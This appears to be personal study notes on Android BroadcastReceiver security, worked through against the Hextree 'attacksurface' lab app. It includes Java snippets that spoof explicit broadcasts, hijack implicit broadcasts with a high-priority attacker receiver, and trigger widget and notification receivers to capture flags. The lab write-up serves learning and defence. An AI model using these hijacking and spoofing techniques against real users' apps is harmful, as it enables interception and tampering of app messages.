Broadcast Receivers

A BroadcastReceiver is a component designed to respond to broadcasted messages (intents, yes they are also intent) from the Android system or other applications. It does not have a UI and operates in the background.

Characteristics of BroadcastReceivers:

  • Event-driven: Listens for specific events or broadcasts.

  • No UI: Does not provide a user interface.

  • Passive: Reacts to events by executing code (e.g., starting a service, sending notifications).

  • Trigger Background Actions: Often used to perform small, quick tasks in response to system events.

Examples of BroadcastReceiver Usage:

  • Responding to a system boot (BOOT_COMPLETED).

  • Reacting to a network change (CONNECTIVITY_CHANGE).

  • Receiving a custom broadcast from another app or component.

Unlike Activity , which uses onCreate when intitialized. Broadcast uses onReceive when a broadcast is received.

public class SPAReceiver extends BroadcastReceiver {
    .....
    
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if (TextUtils.equals(intent.getAction(), ACTION_SP_APPS_QUERY_FEEDS_REPSONSE)) {
            Log.d(TAG, "Received SP_APPS_QUERY_RESPONSE");
            if (!intent.hasExtra(ACTION_SP_APPS_QUERY_FEEDS_REPSONSE_FEEDS_EXTRA)) {
                Log.e(TAG, "Received invalid SP_APPS_QUERY_RESPONSE: Contains no extra");
                return;
            }
    ..........

Similar to Activity, we are more interested in Broadcast which are exported. e.g

        <receiver
            android:name="de.danoeh.antennapod.spa.SPAReceiver"
            android:exported="true">
            <intent-filter>
                <action android:name="de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE"/>
            </intent-filter>
        </receiver>

Key Components

  1. <receiver> Tag:

    • Declares a BroadcastReceiver class (SPAReceiver in this case) to handle broadcast intents.

    • android:name: Specifies the fully qualified name of the BroadcastReceiver class.

    • android:exported: Indicates whether this BroadcastReceiver can receive broadcasts from other applications.

      • true: Allows broadcasts from external apps or components.

      • false: Restricts the broadcasts to within the app.

  2. <intent-filter>:

    • Defines the types of intents the BroadcastReceiver should respond to.

    • The receiver will only trigger when the intent matches an action specified in the <intent-filter>.

  3. <action>:

    • Specifies the action of the intent that the BroadcastReceiver listens for.

    • In this case, the action is de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE. Any intent with this action will trigger the SPAReceiver.

Triggering the BroadcastReceiver:

  • When a broadcast is sent with the action de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE, by system or any other app, the Android system will look for a matching BroadcastReceiver.

  • Since the SPAReceiver is registered for this action in the manifest, its onReceive() method will be called.

ADB can also be used for sending broadcast

adb shell am broadcast -a de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE

Dynamic Broadcase Receiver

Unlike Activities which is always present in AndroidManifest.xml file. Broadcat Recivers can be created and destroyed dynamically and not necessary be present in manifest file.

Utilizing registerReceiver & unregisterReceiverfunction

android internally also uses these functions, but we are more interested in recivers created by our apps.

e.g

registerReceiver(this.headsetDisconnected, new IntentFilter("android.intent.action.HEADSET_PLUG"));
  • registerReceiver:

    • This method dynamically registers a BroadcastReceiver at runtime.

    • It takes two parameters:

      • The receiver instance (this.headsetDisconnected in this case).

      • An IntentFilter object that specifies which actions the receiver should listen for.

  • this.headsetDisconnected:

    • Refers to an instance of a BroadcastReceiver defined elsewhere in the class.

    • This receiver will handle the broadcast when a headset is plugged in or unplugged.

  • new IntentFilter("android.intent.action.HEADSET_PLUG"):

    • Creates an IntentFilter for the action android.intent.action.HEADSET_PLUG.

    • This action is broadcasted by the system when a headset is plugged into or unplugged from the device

Code that handles this broadcast by system is defined as following

    private final BroadcastReceiver headsetDisconnected = new BroadcastReceiver() { // from class: de.danoeh.antennapod.playback.service.PlaybackService.5
        private static final int PLUGGED = 1;
        private static final String TAG = "headsetDisconnected";
        private static final int UNPLUGGED = 0;

        @Override // android.content.BroadcastReceiver
        public void onReceive(Context context, Intent intent) {
            if (!isInitialStickyBroadcast() && TextUtils.equals(intent.getAction(), "android.intent.action.HEADSET_PLUG")) {
                int intExtra = intent.getIntExtra("state", -1);
                Log.d(TAG, "Headset plug event. State is " + intExtra);
                if (intExtra == -1) {
                    Log.e(TAG, "Received invalid ACTION_HEADSET_PLUG intent");
                    return;
                }
                if (intExtra == 0) {
                    Log.d(TAG, "Headset was unplugged during playback.");
                } else if (intExtra == 1) {
                    Log.d(TAG, "Headset was plugged in during playback.");
                    PlaybackService.this.unpauseIfPauseOnDisconnect(false);
                }
            }
        }
    };

where onReceive function executes to handle broadcasts sent by system when headphone lugged or unplugged.

an custom app to send a intent to this broadcast reciver

Intent intent = new Intent();
intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
intent.setComponent(new ComponentName("de.danoeh.antennapod", "de.danoeh.antennapod.spa.SPAReceiver"));
intent.putExtra("feeds", new String[]{"https://media.rss.com/ctbbpodcast/feed.xml"});
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
sendBroadcast(intent); //in activity we use startActivity remember?

from android 8 we can only send explicit broadast intents

read more : https://developer.android.com/develop/background-work/background-tasks/broadcasts/broadcast-exceptions

If we expect some result back from broadcast reciver then we can use to handle response

sendOrderedBroadcast

                Intent intent = new Intent();
                //intent.setAction("");
                intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.receivers.Flag17Receiver"));
                intent.putExtra("flag", "give-flag-17");
                intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);

                // Define a BroadcastReceiver to handle the result
                // Send an ordered broadcast

                BroadcastReceiver result = new BroadcastReceiver() {
                    @Override
                    public void onReceive(Context context, Intent intent) {
                        boolean success = getResultExtras(false).getBoolean("success", false);
                        if (success) {
                            String flag = getResultExtras(false).getString("flag");
                            Log.i("Received Flag", "Flag received: " + flag);
                        } else {
                            Log.i("Flag", "Flag failed");
                        }

                    }
                };
                sendOrderedBroadcast(intent, null, result, null, 1, null, null);


            }

There exist several broadcast actions that are used by the system - obviously regular apps are not allowed to send them. But that doesn't mean the receivers that handle these are properly protected.

Which means broadcast recivers can be launched anyway, if no intent actions are defined in broadcast then what reciver does is upto them.

Hijack Broadcast

you may wanna hijack some implicit broadcast calls from app. It can be done

  1. create a receiver class to handle onRecive functions and send rsult back

public class HijackReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {

        String a= intent.getStringExtra("flag");
        Log.i("a:", a );
        //send result
        
        setResultCode(Activity.RESULT_OK);
        setResultData("Processed: " + a);
        Bundle bundle = new Bundle();
        bundle.putString("message", "Processed successfully");
        bundle.putInt("statusCode", 200);
        setResultExtras(bundle);

    }
}
  1. As discussed earlier implicit broadcasts are not supported in newer versions. We will have to dynamically register our broadcast. In your launcher activity(Mainactivity for example) create a broadcast receiver of particular action you want to hijack e.g.

BroadcastReceiver receiver = new HijackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"),android.content.Context.RECEIVER_EXPORTED);

Now when a app try to broadcast a intent of action io.hextree.broadcast.FREE_FLAG our app can handle it.

But for this to work our attacker app should be running in background. This way system doesn't have to wake our app and implicit intents work.

If multiple apps are listening for broadcast then each one get the broadcast.

Just one more concept if multiple recivers are thre, then comes a concept of priority. https://developer.android.com/guide/topics/manifest/intent-filter-element#priority

Higher the number higher the prirority. SO you wanna set your app prirority high.

e.g. report :https://hackerone.com/reports/167481

<receiver android:exported="true" android:enabled="true" android:name=".InterceptReceiver">
	<intent-filter android:priority="999">
		<action android:name="FileUploader.UPLOAD_START"/>
		<action android:name="FileUploader.UPLOAD_FINISH"/>
		<action android:name="FileUploader.UPLOADS_ADDED"/>
	</intent-filter>
</receiver>

Widgets Brodcast

You know about widgets tiny utilities from your app that you add to your home screen. These widgets are actually a wrapper around Broadcast receivers. So when you change something in widget it gets brodcasted to your target app.

Which means it also uses onReceive functions. which can be triggered from our app also by sending a brodcast

public class Flag19Widget extends AppWidgetProvider {
    @Override // android.appwidget.AppWidgetProvider
    public void onDisabled(Context context) {
    }

    @Override // android.appwidget.AppWidgetProvider
    public void onEnabled(Context context) {
    }

 
    @Override // android.appwidget.AppWidgetProvider, android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Bundle bundleExtra;
        Log.i("Flag19Widget.onReceive", Utils.dumpIntent(context, intent));
        super.onReceive(context, intent);
        String action = intent.getAction();
        if (action == null || !action.contains("APPWIDGET_UPDATE") || (bundleExtra = intent.getBundleExtra("appWidgetOptions")) == null) {
            return;
        }
        int i = bundleExtra.getInt("appWidgetMaxHeight", -1);
        int i2 = bundleExtra.getInt("appWidgetMinHeight", -1);
        if (i == 1094795585 && i2 == 322376503) {
            success(context);
        }
    }

Here Flag19Widget extends from AppWidgetProviderwhich is extended from BrodcastReceiver class.

from our app we can triger this

Intent intent = new Intent();
intent.setAction("APPWIDGET_UPDATE");
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.putExtra("appWidgetOptions", bundle);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);

Note: While sending broadcast intent action should match completely in android 13 otherwise it wont open target class. However in android 14 you can send the broadcast but if its valid or not depends on class itself, how it verifies that. We discussed this earllier also.

More read:

The AppWidgetProvider is actually a wrapper around BroadcastReceiver to update the widget data in the background. It can also handle interactions with the widget such as button presses. But because the widget is running inside the home screen, broadcast PendingIntents are used to handle the button presses.

Widgets, in Android, often act as "remote views" — meaning they can display content and allow user interactions, but they don't have the same privileges as regular app components (like activities or services). Specifically, widgets cannot just initiate actions directly using a normal Intent because:

  • Android enforces a security model where it does not allow arbitrary intents to be sent from a widget to start activities, services, or even broadcast intents without proper validation and authorization.

  • Widgets must use PendingIntent because they need to request the system to execute the action on behalf of the app, at a later time, in a secure manner. PendingIntent ensures that the system will only execute the action if it is from a valid, authorized source (your app).

Also from liveoverlfow sir:

There exists a problem triggering activities from background broadcast receivers. In many cases android does not allow to open the activity. There are two things you can try:

  1. open the app yourself right afterwards, maybe the OS will deliver the background activity

  2. quit the target app, open the target app and immediatly execute the attack. because the target app is new and active the background broadcast receiver might be allowed to startActivity.

which can be explained

In recent Android versions, security and battery optimization features have become stricter, making it harder to launch activities directly from background services or broadcast receivers, especially when the app is in the background or not in the foreground.

Why is it Difficult to Start Activities from Background Broadcast Receivers?

In recent versions of Android (starting with Android 8.0 Oreo, API 26), Android introduced Background Execution Limits. These limits restrict the ability to start certain components (such as Activity, Service, and BroadcastReceiver) while the app is not in the foreground. This is part of the Doze Mode and App Standby features, which are designed to save battery and reduce resource consumption for apps that are running in the background.

When an activity is started from a background context (like a broadcast receiver or service), especially when the app is not actively running or in the foreground, Android might prevent the activity from being launched to avoid disruptions to the user experience.

The Problem with Triggering Activities from Broadcast Receivers

  • Activity Launch Restrictions: Android's newer versions might not allow an activity to be launched from a background broadcast receiver. For example, when an app is in the background, the OS may restrict the startActivity() call for security and usability reasons.

  • Security Concerns: Launching activities from the background might confuse users or lead to unwanted UI interruptions, which Android tries to avoid.

These behaviors are part of Android's attempts to protect the user experience and prevent potentially intrusive behavior from apps running in the background.

Notification Broadcast

In android notifications can be easily created using the notification builder. Inside of notifications you can also add button actions by preparing a PendingIntent. The reason for that is because the notification is again handled by a different app.

So your pendingintent can be handles by your target app. Which is actually a broadcast from notification to your app.

More side learning:

When you dynamically register a receiver in your app, it's important to note that the receiver is only active when your app is running. This might be why you're able to send implicit broadcasts to it but not explicit ones.

Here's a quick rundown:

  • Implicit Broadcasts: These are system-wide broadcasts that any app can listen to. Since your receiver is dynamically registered and active while your app is running, it can receive these implicit broadcasts.

  • Explicit Broadcasts: These are targeted specifically at one receiver. If your receiver is not declared in the manifest, it won't be able to receive explicit broadcasts from other apps.

If you'd like your app to receive explicit broadcasts as well, you should declare the receiver in the manifest with android:exported="true". This will allow other apps to target your receiver with explicit broadcasts. e.g.

in this target app broadcast reciver is registered for incoming broadcast from notification

protected void onCreate(Bundle bundle) {
        createNotificationChannel();
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        Intent intent = getIntent();
        if (intent == null) {
            return;
        }
        String action = intent.getAction();
        if (action != null && action.equals(GET_FLAG)) {
            this.f.addTag(GET_FLAG);
            this.f.addTag(intent.getStringExtra(FlagDatabaseHelper.COLUMN_VALUE));
            success(this);
            return;
        }
        Flag20Receiver flag20Receiver = new Flag20Receiver(); 
        IntentFilter intentFilter = new IntentFilter(GET_FLAG);
        if (Build.VERSION.SDK_INT >= 33) {
            registerReceiver(flag20Receiver, intentFilter, 2);
        } else {
            registerReceiver(flag20Receiver, intentFilter);
        }

Now this can only be reached by implicit intents as its not declared in manifest file and not exported. So if target app is running and activity is launched this receiver can be called from your app too.

Intent intent2 = new Intent("io.hextree.broadcast.GET_FLAG");
intent2.putExtra("give-flag", true);
sendBroadcast(intent2);

also after registering receiver from notification bar it sends a broadcast of implicit intent.

//button click sends a broadcast.
NotificationCompat.Builder addAction = new NotificationCompat.Builder(this, "CHANNEL_ID").setSmallIcon(R.drawable.hextree_logo).setContentTitle(this.name).setContentText("Reverse engineer classes Flag20Activity and Flag20Receiver").setPriority(0).setAutoCancel(true).addAction(R.drawable.hextree_logo, "Get Flag", PendingIntent.getBroadcast(this, 0, new Intent(GET_FLAG), 201326592))

This can be hijacked from our app and send the broadcast intent forward to receiver. by modifying it.

in our launcher class we register our broadcast receiber

BroadcastReceiver receiver = new HijackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GET_FLAG"),android.content.Context.RECEIVER_EXPORTED);

and from HijackReceiver class we receive the broadcast and modify it and send it back

    @Override
    public void onReceive(Context context, Intent intent) {

       
        intent.putExtra("give-flag",true);
        context.sendBroadcast(intent);
        context.unregisterReceiver(this); //needed to unregister the broadcast to stop infinite loop.


    }

Since our original intent has filter of "GIVE_FLAG" so on broadcast it will send it to register broadcats receiver of our target app only. Also we have unregistered ourselves from listener so we won't recive any such broadcast in future.

Last updated